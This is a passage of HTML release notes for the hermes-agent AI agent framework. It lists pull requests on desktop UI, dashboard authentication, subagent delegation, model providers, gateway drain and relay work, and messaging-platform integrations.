<li>Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (<a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55410/hovercard">#55410</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53991/hovercard">#53991</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Pets</strong> — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/55114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55114/hovercard">#55114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55400/hovercard">#55400</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52877/hovercard">#52877</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47959/hovercard">#47959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52303/hovercard">#52303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Refactor wave (composer / god-file de-entangle)</h3>
<ul>
<li>Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split <code>thread.tsx</code>, <code>sidebar/index.tsx</code>, onboarding overlay, and <code>use-prompt-actions</code> god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (<code>hermes serve</code>) (<a href="https://github.com/NousResearch/hermes-agent/pull/55500" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55500/hovercard">#55500</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55842/hovercard">#55842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55451/hovercard">#55451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55453" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55453/hovercard">#55453</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55807/hovercard">#55807</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55504/hovercard">#55504</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54568/hovercard">#54568</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>perf: bound tool-result rendering so big <code>/learn</code> runs don't freeze; fast session switching under load (<a href="https://github.com/NousResearch/hermes-agent/pull/52273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52273/hovercard">#52273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52620" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52620/hovercard">#52620</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (<code>client_secret</code>) support in self-hosted OIDC (<a href="https://github.com/NousResearch/hermes-agent/pull/54846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54846/hovercard">#54846</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50551/hovercard">#50551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55344/hovercard">#55344</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Catalogue all memory-provider API keys in <code>OPTIONAL_ENV_VARS</code>; list &amp; add arbitrary custom <code>.env</code> keys on the Keys page; expose cron job execution fields; backup import/create/download (<a href="https://github.com/NousResearch/hermes-agent/pull/54546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54546/hovercard">#54546</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54552/hovercard">#54552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53551/hovercard">#53551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53227/hovercard">#53227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53239/hovercard">#53239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Delegation &amp; subagents</h3>
<ul>
<li><strong>Background fan-out</strong> — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background <code>delegate_task</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52756/hovercard">#52756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Track background subagents in the CLI + TUI status bar (<a href="https://github.com/NousResearch/hermes-agent/pull/51441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51441/hovercard">#51441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51485/hovercard">#51485</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, tools &amp; coding context</h3>
<ul>
<li>One-shot LLM helper + <code>llm.oneshot</code> gateway RPC; expose coding-context project facts (<code>project.facts</code> RPC) (<a href="https://github.com/NousResearch/hermes-agent/pull/51261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51261/hovercard">#51261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51259/hovercard">#51259</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>web_extract</code> truncate-and-store instead of LLM summarization; concurrent @-reference expansion (<a href="https://github.com/NousResearch/hermes-agent/pull/54843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54843/hovercard">#54843</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55207/hovercard">#55207</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Friendly human-phrased tool labels for built-in tools; <code>/reasoning full</code> (uncapped thinking); <code>/timestamps</code> + timestamps in <code>/history</code>; <code>/prompt</code> composes in <code>$EDITOR</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/55166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55166/hovercard">#55166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50499" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50499/hovercard">#50499</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50506/hovercard">#50506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (<a href="https://github.com/NousResearch/hermes-agent/pull/52845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52845/hovercard">#52845</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50489/hovercard">#50489</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multiple <code>HERMES_WRITE_SAFE_ROOT</code> dirs; opt-in HTTP/WS body capture to an isolated, share-excluded <code>gui_bodies.log</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/53292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53292/hovercard">#53292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49044/hovercard">#49044</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Compression &amp; sessions</h3>
<ul>
<li>In-place compaction option (single session id); flip <code>in_place</code> default to True with a guard fix (<a href="https://github.com/NousResearch/hermes-agent/pull/49739" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49739/hovercard">#49739</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52658/hovercard">#52658</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Backup includes <code>projects.db</code> and kanban boards in the pre-update snapshot (<a href="https://github.com/NousResearch/hermes-agent/pull/52990" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52990/hovercard">#52990</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Google Vertex AI</strong> first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages &amp; modernizes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248493655" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8427/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/8427">#8427</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</li>
<li>Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (<a href="https://github.com/NousResearch/hermes-agent/pull/52647" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52647/hovercard">#52647</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52364/hovercard">#52364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51494/hovercard">#51494</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50492/hovercard">#50492</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Honor <code>NOUS_INFERENCE_BASE_URL</code> env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (<a href="https://github.com/NousResearch/hermes-agent/pull/52270" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52270/hovercard">#52270</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50567/hovercard">#50567</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<h3>Scale-to-zero &amp; drain</h3>
<ul>
<li><strong>Scale-to-zero idle detection + dormant-quiesce (Phase 0)</strong>; hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52359/hovercard">#52359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52831/hovercard">#52831</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>External drain coordination (safe-shutdown Phase 2)</strong>; suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (<a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50312/hovercard">#50312</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50131/hovercard">#50131</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Default <code>restart_drain_timeout</code> to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (<a href="https://github.com/NousResearch/hermes-agent/pull/54066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54066/hovercard">#54066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55397/hovercard">#55397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Relay (Phase 5 / 6)</h3>
<ul>
<li>Wake primitive (gateway side); going-idle / buffered-flip primitive; <code>passthrough_forward</code> over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (<a href="https://github.com/NousResearch/hermes-agent/pull/51595" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51595/hovercard">#51595</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51572/hovercard">#51572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50702/hovercard">#50702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52830" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52830/hovercard">#52830</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50772/hovercard">#50772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51248/hovercard">#51248</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Authorize relay-delivered events by delivery, not <code>source.platform</code>; adopt <code>scope_id</code> wire key; purge platform-specific scope terminology (<a href="https://github.com/NousResearch/hermes-agent/pull/52306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52306/hovercard">#52306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55289/hovercard">#55289</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56016/hovercard">#56016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Typed send-error classification (<code>SendResult.error_kind</code>); per-platform <code>typing_indicator</code> toggle; per-category context breakdown in <code>/usage</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/50342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50342/hovercard">#50342</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55394/hovercard">#55394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55204/hovercard">#55204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (<a href="https://github.com/NousResearch/hermes-agent/pull/50007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50007/hovercard">#50007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56129/hovercard">#56129</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Cron continuations</strong> — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (<a href="https://github.com/NousResearch/hermes-agent/pull/52250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52250/hovercard">#52250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56254/hovercard">#56254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51696" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51696/hovercard">#51696</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (<a href="https://github.com/NousResearch/hermes-agent/pull/51716" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51716/hovercard">#51716</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52088/hovercard">#52088</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54121/hovercard">#54121</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Slack: opt-in Block Kit rendering for agent messages; <code>--no-assistant</code> flag for manifest generation (<a href="https://github.com/NousResearch/hermes-agent/pull/56102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56102/hovercard">#56102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51487" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51487/hovercard">#51487</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: render reasoning as <code>-#</code> subtext via <code>display.reasoning_style</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/51168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51168/hovercard">#51168</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Native WhatsApp media delivery via the Baileys bridge; Teams native <code>send_video</code>/<code>send_voice</code>/<code>send_document</code>; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (<a href="https://github.com/NousResearch/hermes-agent/pull/53598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53598/hovercard">#53598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49308" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49308/hovercard">#49308</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53451/hovercard">#53451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56230/hovercard">#56230</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Signal: AAC voice-note remux + shared markdown formatting (<a href="https://github.com/NousResearch/hermes-agent/pull/49530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49530/hovercard">#49530</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
